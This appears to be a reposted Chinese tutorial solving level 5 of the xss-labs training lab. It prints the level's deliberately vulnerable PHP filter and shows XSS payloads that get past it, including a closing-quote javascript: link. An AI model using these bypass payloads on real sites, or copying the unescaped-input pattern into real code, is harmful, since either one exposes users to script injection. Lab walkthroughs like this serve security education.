安全-Level5之on事件绕过(xss-labs)

Posted 小狐狸FM

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安全-Level5之on事件绕过(xss-labs)相关的知识,希望对你有一定的参考价值。

前言

安装步骤跳过,源码可去github上下载

xss-labs下载

PHP: strtolower - Manual

PHP: str_replace - Manual

xss-payload-list

安全-XSS脚本

一、题目

http://127.0.0.1/xss-labs-master/level5.php

源码如下

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!";

</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

二、绕过

[1]. 小写转换

[2]. 字符串过滤

因为两个过滤之后都没有置空,所以没法用双写绕过
第一个过滤是匹配到<script,就替换成<scr_ipt

xss的脚本不一定需要用<script>标签来实现,还有很多种方式
一种标签被过滤了,就换另一种

<svg onload=alert(233)>
<body onload=alert("内容")>
<a href=“” onclick=alert(“内容”)>链接文字</a>
<img src=WrongIP onerror=alert("内容")>

第二个过滤是匹配到on,就替换成o_n
这样的话很多事件onloadonclickonerror都失效了
不过还有一个javascript:的事件没有失效,可以先本地写个php代码测试一下

<?php
$str = "<a href=javascript:alert(233)>xss</a>";
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo $str3;
?>

可以弹窗,说明<a>标签和javascript事件可以绕过

[3]. 标签闭合

然后需要在调用$str3变量的时候,闭合标签<input>

闭合的话先看value的值是用什么引号括起来的,然后构造闭合条件闭合掉前后的双引号
单引号是为了把HTML括起来,不需要去闭合它

""

然后是<input>标签的闭合,后面还会多出来">
可以去构造后面的闭合,也可以不去弄,不会影响xss弹窗

">xss代码"

最后就是把步骤[2]payload放到xss代码位置,点击链接后成功弹窗

"><a href=javascript:alert(233)>xss</a>"



以上是关于安全-Level5之on事件绕过(xss-labs)的主要内容,如果未能解决你的问题,请参考以下文章

安全-Level4之属性构造(xss-labs)

安全-Level2之标签闭合(xss-labs)

安全-Level3(xss-labs)

安全-Level2之标签闭合(xss-labs)

安全-Level1(xss-labs)

安全-Level1(xss-labs)